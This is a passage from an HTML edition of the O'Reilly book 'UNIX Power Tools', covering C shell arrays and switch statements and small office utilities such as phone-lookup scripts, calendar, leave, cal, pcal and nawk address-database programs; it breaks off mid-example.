A dollar sign ($) before the name of a shell variable gives you its value. That gives all members of an array, too, because the array is stored as a shell variable. To pick out a particular member, put its number in square brackets after the name. For example:

% echo $job
Fix the report resign
% echo $job[1]
Fix the report

Like the Bourne shell shift (44.17) command, the C shell shift command shifts the command-line arguments. It also shifts array members. Let's shift the job array:

% shift job
% echo $job[1]
resign

Tom Christiansen told me that putting your directory stack (14.6) in an array is really useful. He's right. You might add an alias (10.2) for pushd and popd that stores the dirs output into an array named dirs:

alias pushd 'pushd \!* && set dirs=(`dirs`)'
alias popd 'popd \!* && set dirs=(`dirs`)'

Then, to look in the third directory in your stack, use a command like ls $dirs[3]. Or, use an array with a foreach loop (9.11) to step through the members one-by-one. For instance, you might need to find the file frobozz that you put in some directory in your stack. Use the -e test (47.4) to look for a file that exists:

?

% foreach dir ($dirs)
? if (-e $dir/frobozz) echo "frobozz is in $dir"
? end
frobozz is in /work/vol3/ch02.files/summaries
%

- JP

Previous: 47.4 C Shell Variable Operators and Expressions | UNIX Power Tools | Next: 47.6 Quick Reference: C Shell switch Statement
47.4 C Shell Variable Operators and Expressions | Book Index | 47.6 Quick Reference: C Shell switch Statement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 47] 47.6 Quick Reference: C Shell switch Statement

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 47.5 Using C Shell Arrays Chapter 47
C Shell Programming...NOT 		Next: IX. Miscellaneous

47.6 Quick Reference: C Shell switch Statement

The switch statement is used to process commands depending on the value of a variable. When you need to handle more than three choices, switch is a useful alternative to an if-then-else statement.

If the string variable matches pattern1, the first set of commands is executed; if string matches pattern2, the second set of commands is executed; and so on. If no patterns match, execute commands under the default: case. string can be specified using command substitution (9.16), variable substitution (6.8), or filename expansion (1.16). Patterns can be specified using the pattern-matching symbols *, ?, and []. breaksw is used to exit the switch after commands are executed. If breaksw is omitted (which is rarely done), the switch continues to execute another set of commands until it reaches a breaksw or endsw.

Below is the general syntax of switch, side by side with an example that processes the first command-line argument.

switch (string)   switch ($argv[1])
  case pattern1:     case -[nN]:
      commands          nroff $file | lp
      breaksw                              breaksw
  case pattern2:     case -[Pp]:
      commands          pr $file | lp
      breaksw                              breaksw

  case pattern3:     case -[Mm]:
      commands          more $file
      breaksw                              breaksw
      .                              case -[Ss]:
      .                                 sort $file
      .                                    breaksw
  default:                                    default:
      commands                   echo "Error-no such option"
                                           exit 1
      breaksw                                    breaksw
endsw                                endsw

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 47.5 Using C Shell Arrays | UNIX Power Tools | Next: IX. Miscellaneous
47.5 Using C Shell Arrays | Book Index | IX. Miscellaneous
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] Office Automation

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: IX. Miscellaneous Chapter 48 Next: 48.2 Online Phone and Address Lists

48. Office Automation

Contents:
Well, What Else Could We Call It?
Online Phone and Address Lists
A Scratchpad on Your Screen
Automatic Reminders and More: calendar
leave: A Maddening Aid to Quitting on Time
Get Calendar for Any Month or Year: cal
cal That Marks Today's Date
Calendar for 132-Column Terminals or Printers
PostScript Calendars with pcal
Working with Names and Addresses
The index Database Program
Using index with a Filter

48.1 Well, What Else Could We Call It?

OK, so maybe the articles in this chapter don't really talk about office automation, but they do talk about things of interest to office workers - things that don't have much to do with computers, but rather with the kinds of things that people wanted the computers for in the first place. Things like:

  • Maintaining an online phone and address database (48.2).

  • A simple scratchpad (48.3).

  • Reminding yourself of your appointments with calendar (48.4), or even just when it's time to leave (48.5).

  • Printing out calendars for any date (articles 48.6, 48.7, and 48.8) including a super-duper one that includes all your appointments (article 48.9).

  • Maintaining simple databases with awk (48.10) or index (48.11, 48.12).

If you're looking for office tools, also be sure to check out sc (49.8) and ipl (49.9) in the next chapter.

- TOR

Previous: IX. Miscellaneous | UNIX Power Tools | Next: 48.2 Online Phone and Address Lists
IX. Miscellaneous | Book Index | 48.2 Online Phone and Address Lists
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.2 Online Phone and Address Lists

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.1 Well, What Else Could We Call It? Chapter 48
Office Automation 		Next: 48.3 A Scratchpad on Your Screen

48.2 Online Phone and Address Lists

Here's a useful little shell script that we've used at O'Reilly & Associates. If you run it as phone, it gives you peoples' phone numbers - it searches files named phone in your home directory and in a system location. If you run it as address, it does the same thing for files named address. Lines from the system file are labeled sys>; lines from your personal file are marked pers>. For example:

% phone tom
pers>Tom VW's mother, Barbara Van Winkel in Vermont 802-842-1212
pers>Tom Christiansen [5/10/92] 201/555-1212
sys>Flitecom (Dave Stevens, Tom Maddy) (301) 588-1212

The script uses egrep (27.5) to search the file; the egrep -i option means you can type tom and the script will find lines with either Tom or tom (or TOM or...). The two names for this script are both links (18.3) to the same file. Of course, you can adapt the script for things besides phone numbers and addresses.

test
touch

$#

#!/bin/sh
# LINK BOTH THE phone AND address SCRIPTS TOGETHER; BOTH USE THIS FILE!

myname="`basename $0`"  # NAME OF THIS SCRIPT (USUALLY address OR phone)
case "$myname" in
phone|address)
    sysfile=/work/ora/$myname   # SYSTEM FILE
    persfile=${HOME?}/$myname   # PERSONAL FILE
    ;;
*) echo "$0: HELP!  I don't know how to run myself." 1>&2; exit 1 ;;
esac

if test ! -f $persfile
then touch $persfile
fi

case $# in
0)  echo "Usage: $myname searchfor [...searchfor]
    (You didn't tell me what you want to search for.)" 1>&2
    exit 1
    ;;
*)  # BUILD egrep EXPRESSION LIKE (arg1|arg2|...) FROM NAME(S) USER TYPES:
    for arg
    do
        case "$expr" in
        "") expr="($arg" ;;
        *) expr="$expr|$arg" ;;
        esac
    done
    expr="$expr)"
esac

# SEARCH WITH egrep, USE sed TO ADD sys> TO START OF FILENAMES FROM
# SYSTEM FILE AND pers> TO START OF FILENAMES FROM HOME LIST:
egrep -i "$expr" $persfile $sysfile |
sed -e "s@^$sysfile:@sys>@" -e "s@^$persfile:@pers>@"
exit

The comments in the script explain what each part does. The most interesting part is probably the for loop (44.16) and case statement (44.5) that build the egrep expression. For instance, if you type the command phone tom mary, the script builds and runs an egrep command as if you'd typed this:

% egrep -i "(tom|mary)" /u/me/phone /work/ora/phone
/u/me/phone:Tom VW's mother, Barbara Van Winkel in Vermont 802-842-1212
/u/me/phone:Tom Christiansen [5/10/92] 201/555-1212
/work/ora/phone:Flitecom (Dave Stevens, Tom Maddy) (301) 588-1212
   ...

The sed (34.24) command turns the pathnames from egrep into pers> and sys>.

You can install this script from the CD-ROM or you can just type it in. If you type in the script, put it in an executable file named phone. (If all users on your system will share it, your system administrator should put the script in a central directory such as /usr/local/bin.) Then make a link to it:

% chmod 755 phone
% ln phone address

- JP

Previous: 48.1 Well, What Else Could We Call It? | UNIX Power Tools | Next: 48.3 A Scratchpad on Your Screen
48.1 Well, What Else Could We Call It? | Book Index | 48.3 A Scratchpad on Your Screen
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.3 A Scratchpad on Your Screen

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.2 Online Phone and Address Lists Chapter 48
Office Automation 		Next: 48.4 Automatic Reminders and More: calendar

48.3 A Scratchpad on Your Screen

Here's a tip for people whose screens have multiple windows. I copy and paste a lot of text with my mouse, and sometimes I need a place to put text temporarily. For example, I'll put together pieces from a few command lines, write a reminder note to myself before I go to lunch, or keep a bunch of text I can copy with my mouse as needed.

Some window systems have a clipboard window, but I almost never use mine. Instead, I use one of my terminal windows to make a throwaway space like this:

% cat > /dev/null
Updated version number in title.
.
Added disc icon for second edition.
.
[CTRL-d]
%

In the example above, I wanted to choose between two responses to give to the RCS ci (20.14) command in another window. I typed in the pairs of lines, then kept copying and pasting one pair or the other into the window where ci was running. The command cat > /dev/null reads whatever I type and throws it away (13.14). I can type as much stuff as I want, then type CTRL-d at the start of a line when I'm done.

- JP

Previous: 48.2 Online Phone and Address Lists | UNIX Power Tools | Next: 48.4 Automatic Reminders and More: calendar
48.2 Online Phone and Address Lists | Book Index | 48.4 Automatic Reminders and More: calendar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.4 Automatic Reminders and More: calendar

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.3 A Scratchpad on Your Screen Chapter 48
Office Automation 		Next: 48.5 leave: A Maddening Aid to Quitting on Time

48.4 Automatic Reminders and More: calendar

If you type the command calendar, you'll see lines with "to-do" items for today and tomorrow from a file named calendar in your current directory. If you put that file in your home directory, your system administrator can run the command calendar-to mail (1.33) everyones' "to-do" items to them. You can also automate your personal calendar setup by running calendar yourself - the calendar can be mailed to you, sent to the printer, and so on, first thing each morning. See below for an example calendar file and more information.

calendar builds a complicated egrep (27.5) expression to search your calendar file. You can see that expression yourself if you want to.

48.4.1 How calendar Works

Let's start by showing a few lines of a sample calendar file. (Yours can be much longer.) Then I'll run calendar to show what lines it picks:

% cat calendar
-- WORK --
12/28   Project report due tomorrow!
-- PERSONAL --
* 8       rub Lisa's feet
Take Lisa out to dinner on December 8
dec 9     buy Lisa lunch
On 12/10, Lisa will be hungry for ice cream
-- BIRTHDAYS --
1/1 Mom's birthday - make dinner reservations by 12/20!
% date
Tue Dec  8 08:43:40 PST 1992
% calendar
* 8       rub Lisa's feet
Take Lisa out to dinner on December 8
dec 9     buy Lisa lunch

Today is December 8. The calendar utility found lines in my calendar file for today and tomorrow. calendar understands lots of date formats. The date can be anywhere on a line. If you leave a line in your file for more than one year (like Mom's birthday) calendar will show it every year. If a line has more than one date, you'll see the line on both of those dates (I'll be reminded before Mom's birthday and also in time to make a dinner reservation). An asterisk (*) in place of a month means "all months."

Many versions of calendar utility run your calendar file through the C language preprocessor, cpp. Among other things, this lets you include several calendar files in your own calendar file. Lines that start with a hash mark (#) in column 1 are read by the preprocessor. For instance, this line in your calendar file would include all the contents of the file /usr/local/lib/office.calendar just as if you'd typed them into your own file:

#include "/usr/local/lib/office.calendar"

Someone (the office secretary) can maintain the office.calendar file. People in the office who want reminders from it can put the #include line in their own calendar files.

By the way, if you start a line with # and it's not for the preprocessor, you'll get a mysterious error like calendar: 1: undefined control. That means line 1 of the file had something the preprocessor couldn't understand.

48.4.2 The egrep Expression calendar Uses

How can calendar find dates in all the formats it accepts - and only for today and tomorrow? It runs a system program, usually named /usr/lib/calendar, that generates an expression for egrep -f (27.7). The expression searches for the dates of today and tomorrow; if today is a Friday, the expression includes dates on Saturday, Sunday, and Monday. Here's the expression I got by running /usr/lib/calendar on Tuesday, December 8. TAB characters are shown as T; spaces are shown as [image].

% /usr/lib/calendar
(^|[   T(,;])((([Dd]ec[^   T]*|\*)[   T]*|(012|12|\*)/)0*8)([^0123456789]|$)
(^|[   T(,;])((([Dd]ec[^   T]*|\*)[   T]*|(012|12|\*)/)0*9)([^0123456789]|$)

I'll turn the first line of that into English. I'm not writing this just for egrep fanatics :-); this is also useful for understanding what kinds of dates calendar will recognize. I'm going to skip some not-so-subtle things like the nesting of the parentheses and just give an overview. If you haven't seen extended regular expressions before, see article 26.4. The expression finds lines in your calendar file that meet these conditions, in order from left to right across the line:

(^|[ T(,;])

This matches whatever comes before the date. Match at the beginning of a line (^) or (|) match a space, TAB, opening parenthesis, comma, or semicolon ([ T(,;]). This keeps egrep from matching other words that start with or contain the month abbreviation [Dd]ec.

((([Dd]ec[^ T]*|\*)[ T]*|(012|12|\*)/)0*8)

This matches the date. Match Dec or dec with zero or more of any character besides space or TAB after that ([Dd]ec[^ T]*)-or (|) have a literal asterisk (\*), which means "match this on any month of the year." Or (|) match a numeric month like 012 or 12 or a literal asterisk ((012|12|\*))-followed by a slash (/). Finally, you need today's date: it starts with any number of zeros and ends with 8 ()0*8)).

([^0123456789]|$)

The end of the expression matches lines anything except a digit - or matches the end of the line. This keeps egrep from matching non-dates like 8.75.

Whew. That expression is repeated for every other day that needs to be matched. On Fridays, the output of /usr/lib/calendar has four lines - one each for Friday, Saturday, Sunday, and Monday.

48.4.3 Automating Your Own Calendar

If you want a calendar every weekday, put a line like the following into your personal crontab file (40.12). We've split this onto two lines for printing, but you should type it all on one line:

$USER
&& <
6 6 * * 1-5 tf=/tmp/cal.$USER; umask 077; /bin/calendar > $tf;
    test -s $tf && mail -s 'Calendar for today' $USER < $tf; rm -f $tf

That runs calendar from my home directory at 6:06 a.m. (40.5) every weekday morning. It sets a Bourne shell variable (6.8) named tf with the name of a temporary file in the /tmp directory (21.3), and sets a umask (22.4) to make the file private. Then it runs calendar and saves the output in the temporary file. If there's a calendar for today, the mail command sends the file to me. (The -s option on our mail command adds the Subject: line Calendar for today to the message. It isn't required.) Finally, the temporary file is removed.

If you don't have personal crontabs, you can use a self-restarting at job (40.8) and the nextweekday script (40.10) instead.

- JP

Previous: 48.3 A Scratchpad on Your Screen | UNIX Power Tools | Next: 48.5 leave: A Maddening Aid to Quitting on Time
48.3 A Scratchpad on Your Screen | Book Index | 48.5 leave: A Maddening Aid to Quitting on Time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.5 leave: A Maddening Aid to Quitting on Time

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.4 Automatic Reminders and More: calendar Chapter 48
Office Automation 		Next: 48.6 Get Calendar for Any Month or Year: cal

48.5 leave: A Maddening Aid to Quitting on Time

Time to leave! The message flashes across your screen, the terminal bell rings. You keep working.

You're going to be late! Another message, a minute later. Sheesh. Did your mother learn to use write (1.33), or what?

No. It's the leave program that you started to remind you of a meeting. (A little while ago, it already told you that You have to leave in 5 minutes.) If your system has leave, you can start it in one of three ways:

  • leave 1300 sets the alarm for 1:00 p.m.

  • leave +30 sets the alarm for 30 minutes from now.

  • With no arguments, leave prompts you When do you have to leave? You can type an answer like 1300 or +30 above. Or, if you just press RETURN, leave will leave you alone. That's handy to put in your .login or .profile (2.2) file.

When will it stop nagging you? When you log out, leave stops automatically. Also, newer versions of leave will quit after ten minutes, saying That was the last time I'll tell you. Bye. Older versions keep on forever.

On some versions of leave, you can't set an alarm for any time tomorrow (past midnight). But you can use sleep (40.2) to start the leave past midnight. For example, maybe it's 10 p.m. now and you want to leave at 1 a.m. Midnight is two hours or 7200 seconds (60 x 60 x 2) from now. Add a fudge factor of 10 minutes (600 seconds) and type:

( )
$ (sleep 7800; leave 100) &
1234

You can also kill leave-though you have to use the "sure kill," signal 9 (38.8). To see leave lurking in the background and get its PID (38.3), you usually need the ps (38.5) -x option. Piping through grep leave will shorten the ps output:

% ps x | grep leave
 6914 p3 S     0:00 leave
19283 p3 R     0:01 grep leave
% kill -9 6914

- JP

Previous: 48.4 Automatic Reminders and More: calendar | UNIX Power Tools | Next: 48.6 Get Calendar for Any Month or Year: cal
48.4 Automatic Reminders and More: calendar | Book Index | 48.6 Get Calendar for Any Month or Year: cal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.6 Get Calendar for Any Month or Year: cal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.5 leave: A Maddening Aid to Quitting on Time Chapter 48
Office Automation 		Next: 48.7 cal That Marks Today's Date

48.6 Get Calendar for Any Month or Year: cal

What day were you born? If you were born on September 23, 1962, type this command to get a calendar for the month:

% cal 9 1962
   September 1962
Su Mo Tu We Th Fr Sa
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30

You were born on a Sunday. Be sure to type all four digits of the year. If you don't, you'll get the calendar for 62 A.D.-almost 2000 years ago!

To get a calendar for the current month, just type cal (no arguments). You can also get the whole calendar for any year by giving a single argument: the year you want (use all four digits for any year in the last millennium).

There seems to be a bug in September 1752:

% cal 9 1752
   September 1752
Su Mo Tu We Th Fr Sa
       1  2 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30

But there isn't really a bug. That's when Great Britain and the (then) American colonies adopted the Gregorian calendar; what would have been September 3 became September 14, and the beginning of the year changed from March 25 to January 1. Hmmmph. Bugs - in UNIX? :-)

- JP

Previous: 48.5 leave: A Maddening Aid to Quitting on Time | UNIX Power Tools | Next: 48.7 cal That Marks Today's Date
48.5 leave: A Maddening Aid to Quitting on Time | Book Index | 48.7 cal That Marks Today's Date
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.7 cal That Marks Today's Date

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.6 Get Calendar for Any Month or Year: cal Chapter 48
Office Automation 		Next: 48.8 Calendar for 132-Column Terminals or Printers

48.7 cal That Marks Today's Date

If you're like me and you tend to forget what day it is :-), a calendar like the one that cal (48.6) prints doesn't help much. Here's a little shell script below that puts angle brackets around the current date. For example, if today is August 7, 1996:

% cal
    August 1996
  S  M Tu  W Th  F  S
              1  2  3
  4  5  6 >7< 8  9 10
 11 12 13 14 15 16 17
 18 19 20 21 22 23 24
 25 26 27 28 29 30 31

If you're sure that this script will never be called by another program that expects the system version, you can name this cal, too - just be sure to put it in a directory somewhere in your PATH before /usr/bin (8.7), the system location of most versions of cal. Otherwise, give the script another name, such as cal_today.

The script puts the output of date into its command-line parameters; it adds an x first for safety (in case the date command doesn't make any output, the set command will still have arguments and won't output a list of all shell variables). The parameters look like this:

x Wed Aug 7 20:04:04 PDT 1996

and the fourth parameter, in $4, is what the script uses:

set

"$@"

#! /bin/sh
# If user didn't give arguments, put > < around today's date:
case $# in
0) set x `date`
   # Place > < around $4 (shell expands it inside doublequotes):
   /usr/bin/cal |
   sed -e 's/^/ /' -e "s/ $4$/>$4</" -e "s/ $4 />$4</"
   ;;
*) /usr/bin/cal "$@" ;;
esac

If you give any arguments, the script assumes that you don't want the current month; it runs the system cal command. Otherwise, the script pipes the system cal output into sed (34.24). The sed expression puts a space before every line to make room for any> < at the start of a line. Then it uses two substitute commands - one for the beginning or middle, the other for the end of a line - one is guaranteed to match the current date.

- JP

Previous: 48.6 Get Calendar for Any Month or Year: cal | UNIX Power Tools | Next: 48.8 Calendar for 132-Column Terminals or Printers
48.6 Get Calendar for Any Month or Year: cal | Book Index | 48.8 Calendar for 132-Column Terminals or Printers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.8 Calendar for 132-Column Terminals or Printers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.7 cal That Marks Today's Date Chapter 48
Office Automation 		Next: 48.9 PostScript Calendars with pcal

48.8 Calendar for 132-Column Terminals or Printers

The cal (48.6) program is convenient, but it's fairly no-frills. If you have a 132-column terminal, or (more importantly) if you have a 132-column line printer, try using the calen program instead.

calen
 The calen program prints out calendars using 132 columns, and draws boxes for each date that are large enough to scribble notes in. The syntax for the calen program is:

calen month year [length]

The length is the optional number of months you want shown, starting with the specified month (the default number of months is 1). For example:

% calen 6 1965

shows you a calendar for the month of June 1965.

To get the entire year of 1965 (all 12 months), do:

% calen 1 1965 12

The only real reason for using calen is to print out the calendar so you can write on it. But if you have a PostScript printer, forget about calen, since pcal (48.9) is much more powerful.

- LM

Previous: 48.7 cal That Marks Today's Date | UNIX Power Tools | Next: 48.9 PostScript Calendars with pcal
48.7 cal That Marks Today's Date | Book Index | 48.9 PostScript Calendars with pcal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.9 PostScript Calendars with pcal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.8 Calendar for 132-Column Terminals or Printers Chapter 48
Office Automation 		Next: 48.10 Working with Names and Addresses

48.9 PostScript Calendars with pcal

Sometimes you want a hardcopy calendar. You can generate one using cal (48.6) and an ASCII-to-PostScript filter like pstext (43.22), but the resulting calendar is nothing to write home about.

pcal
 A nifty alternative for printing calendars is pcal. pcal isn't just a pretty face: yes, it prints nice calendars, but you can also configure it to do quite a lot more. I just discovered pcal, and it already has potential for becoming one of my favorite utilities.

In its default form, pcal just creates a PostScript calendar for the current month. The PostScript commands are written to standard output, so you need to pipe it to lpr for BSD-based systems, or lp for System V-based systems. (Of course, your printer has to be able to print PostScript.) For example:

% pcal | lpr

You'll get a full-page calendar of the current month. The dates for Saturdays and Sundays are printed in gray. To get a different month, you can specify it the same way you would using cal. For a calendar for November 1992, you could do:

% pcal 11 1992 | lpr

For a calendar for the whole year, use the -w option to pcal.

% pcal -w | lpr

Once you get a chance to see the pcal output, you'll already see how big an improvement it is over just printing the output of the cal program. But pcal also gives you the opportunity to configure your calendars.

pcal looks for a file called .calendar in either your home directory or your current directory. (This is a hidden file (16.11) because the name starts with a dot.) You can use this file to mark days in the year. For example, you can use it to define particular days as holidays:

1/1                           New Year's Day
Feb 14                        Valentine's Day

But pcal also understands a limited set of relational words as well. For example:

Second Sunday in May          Mother's Day
4th thu of nov                Thanksgiving

For each of these examples, the given day will have the specified text written in. If you use an asterisk (*) after the date, the day is marked as a holiday.

1/1*                          New Year's Day
Feb 14                        Valentine's Day
Second Sunday in May          Mother's Day
4th thu of nov*               Thanksgiving

This means that the day appears in gray on the calendar, like Saturday and Sunday. But more important, it means that pcal will understand that the marked day isn't a working day.

In addition to holidays, you can use pcal to mark things like birthdays and anniversaries.

June 4                        My Birthday!!!
September 3                   Peter's birthday
April 1                       Mom and Dad's anniversary

Now here's where pcal starts to get useful. You can use pcal to mark meetings you have scheduled:

april 14                      Meet with tax attorney at 4:45
last day of october           Dr. Jekyll's office, 5:30

Or for regular appointments:

Each Friday of July           Leave early for Cape

As you can probably tell by now, the syntax accepted by pcal is very flexible. It's actually much too complicated to be able to explain in full here, but pcal comes with a complete manual page, and pcal -h will give you a list of syntax and command-line options. And if you just wing it, you're likely to come up with syntax that works.

I don't want to leave it at that, though. Let's get on with a few more examples of some of the nicer features.

In place of the name of a month, you can use the all keyword to mean all months, i.e., the entire year. For example:

First day of all              Send monthly report to boss
Each Monday in all            Status meeting at 11:30

Now, we used First day of all, above, to specify when we should send our monthly report. What about when the first of the month falls on a weekend or holiday? Well, pcal also understands phrases like workday and holiday. To make sure that your reminder to submit your report appears on the first workday of the month, you can write:

First workday of all          Send monthly report to boss

By default, pcal considers only Saturdays and Sundays to be non-workdays. You add days to this list when you define holidays with asterisks (*) as described previously. [1]

[1] Note that pcal only knows about holidays that have already been declared in your specification file. So in general, you want to define your holidays early in your .calendar file so that later references to workdays will be up-to-date.

Another feature of pcal is that you can use the phases of the moon in your date specifications.

2nd full_moon in all          Blue moon!

pcal supplies format specifiers for writing more detailed descriptions. For example, suppose you want to be reminded at the beginning of each month to make your monthly schedule. You can make up an entry that reads:

First workday of all          Write schedule for %B

The special format specifier %B expands into the name of the current month. So the first workday of October will read, "Write schedule for October."

Some other modifiers defined by pcal are %A for the name of the weekday, %d for the day of the month, %Y for the year, %j for the day of the year, and %l for the number of days remaining in the year. There are also a few modifiers available. The most useful ones are %+ and %- for using the following or previous month or year. For example, suppose you want a reminder on the last day of the month to pay the rent for the next month. You can write:

Last day of all               Pay rent for month of %+B

In our office, we're expected to turn in time sheets for each 2-week period, on the 1st and 16th of each month. We can write:

first workday of all          Time sheet due for end of %-B
workday on_or_after all 16    Time sheet due for beginning of %B

You can also specify command-line options to pcal in your .calendar file, using the opt keyword. For example:

opt   -n Times-Italic -m

The -n Times-Italic option tells pcal to use the Times Italic font to display the text within the dates. The -m option tells pcal to show the new, half, and full moons in the month.

- LM

Previous: 48.8 Calendar for 132-Column Terminals or Printers | UNIX Power Tools | Next: 48.10 Working with Names and Addresses
48.8 Calendar for 132-Column Terminals or Printers | Book Index | 48.10 Working with Names and Addresses
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 48] 48.10 Working with Names and Addresses

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 48.9 PostScript Calendars with pcal Chapter 48
Office Automation 		Next: 48.11 The index Database Program

48.10 Working with Names and Addresses

One of the simplest applications of awk (33.11) is building a name and address database. It is a good exercise for learning awk as well. It involves organizing the information as a record and then writing programs that extract information from the records for display in reports. The scripts in this article use nawk (33.12) instead of awk, but the principles are the same.

The first thing to decide is the structure of a record. At the very least we'd like to have the following fields:

Name
Street
City
State
Zip

But we may wish to have a more complex record structure:

Name
Title
Company
Division
Street
City
State
Zip
Phone
Fax
Email
Directory
Comments

It doesn't matter to our programming effort whether the record has five fields or thirteen. It does matter that the structure is decided upon before you begin programming.

The next decision we must make is how to distinguish one field from the next and how to distinguish one record from another. If your records are short, you could have one record per line and use an oddball character as a field delimiter:

Name~Street~City~State~Zip
Name1~Street1~City1~State1~Zip1

The downside of this solution is that it can be difficult to edit the records. (We are going to try to avoid writing programs for automating data entry. Instead, we will assume that you create the record with a text editor-vi or Emacs, for example.)

Another solution is to put each field on a line by itself and separate the records with a blank line:

Name
Street
City
State
Zip

Name1
Street1
City1
State1
Zip1

This is a good solution. You have to be careful that the data does not itself contain blank lines. For instance, if you wanted to add a field for Company name, and not all records have a value for Company, then you must use a placeholder character to indicate an empty value.

Another solution is to put each record in its own file and put each field on its own line. This is the record organization we will implement for our program. Two advantages of it are that it permits variable length records and it does not require the use of special delimiter characters. It is therefore pretty easy to create or edit a record. It is also very easy to select a subset of records for processing.

We will give each file a name that uniquely identifies it in the current directory. A list of records is the same as a list of files. Here is a sample record in a file named pmui:

Peter Mui
International Sales Manager
O'Reilly & Associates, Inc.
East Coast Division
90 Sherman Street
Cambridge
MA
01240
617-354-5800
617-661-1116
peter@ora.com
/home/peter
Any number of lines may appear as
a comment.

In this record, there are thirteen fields, any of which can be blank (but the blank line must be there to save the position), and the last field can have as many lines as needed.

Our record does not contain labels that identify what each field contains. While we could put that information in the record itself, it is better to maintain the labels separately so they can be changed in a single location. (You can create a record template that contains the labels to help you identify fields when adding a new record.)

We have put the labels for these fields in a separate file named dict. We won't show this file because its contents describe the record structure as shown above.

We are going to have three programs and they share the same syntax:

command record-list

The record-list is a list of one or more filenames. You can use wildcard characters, of course, on the command line to specify multiple records.

The first program, read.base, reads the dict file to get the labels and outputs a formatted record.

% read.base record

pmui:
1.  Name:   Peter Mui
2.  Title:   International Sales Manager
3.  Company:   O'Reilly & Associates, Inc.
4.  Division:   East Coast Division
5.  Street:   90 Sherman Street
6.  City:   Cambridge
7.  State:   MA
8.  Zip:   01240
9.  Phone:   617-354-5800
10. Fax:   617-661-1116
11. Email:   peter@ora.com
12. Directory:   /home/peter
13. Comments:   Any number of lines may appear as
a comment.

read.base first outputs the record name and then lists each field. Let's look at read.base:

nawk 'BEGIN { FS=":"
    # test to see that at least one record was specified
    if (ARGC < 2) {
        print "Please supply record list on command line"
        exit
    }

    # name of local file containing field labels:
    record_template = "dict"

    # loop to read the record_template
    # field_inc = the number of fields
    # fields[] = an array of labels indexed by position

    field_inc=0

    while ((getline < record_template) > 0) {
        ++field_inc
        fields[field_inc] = $1
    }
    field_tot=field_inc
}

# Now we are reading the records
# Print filename for each new record
FNR == 1 {
    field_inc=0
    print "\n" FILENAME ":"
}
{

    # Print the field's position, label and value
    # The last field can have any number of lines without a label.

    if (++field_inc <= field_tot){
        if (field_inc >= 10)
            space = ". "
        else
            space = ".  "

        print field_inc space fields[field_inc] ":\t" $NF
}
else
    print $NF
}' $*

Note that the program is not doing any input validation. If the record is missing a Division name (and you didn't leave the fourth line blank), whatever is on line 4 will match up with Division, even if it's really a street address. One of the uses of read.base is simply to verify that what you entered in the file is correct.

If you specify more than one record, then you will get all of those records output in the order that you specified them on the command line.

The second program is mail.base. It extracts mailing label information.

% mail.base pmui

Peter Mui
International Sales Manager
O'Reilly & Associates, Inc.
East Coast Division
90 Sherman Street
Cambridge, MA 01240

If you supply a record-list, then you will get a list of mailing labels.

Here is the mail.base program:

nawk 'BEGIN { FS="\n";

    # test that user supplies a record
    if (ARGC < 2) {

        print "Please supply record list on command line"
        exit
    }
}

# ignore blank lines
/^$/ { next }

# this is hard-coded to record format;
# print first 5 fields and then print
# city, state zip on one line.
{
    if (FNR < 6)
        print $0
    else
        if (FNR == 6)
            printf $0 ", "
        else if (FNR == 7)
            printf $0
        else if (FNR == 8)
            printf " " $0 "\n\n"
}' $*

Variations on this very simple program can be written to extract or compile other pieces of information. You could also output formatting codes used when printing the labels.

The last program is list.base. It prepares a tabular list of names and records and allows you to select a particular record.

% list.base lwalsh pmui jberlin

  # NAME & COMPANY                           FILE
 1. Linda Walsh, O'Reilly & Associates, Inc. lwalsh
 2. Peter Mui, O'Reilly & Associates, Inc.   pmui
 3. Jill Berlin, O'Reilly & Associates, Inc. jberlin
Select a record by number: 2

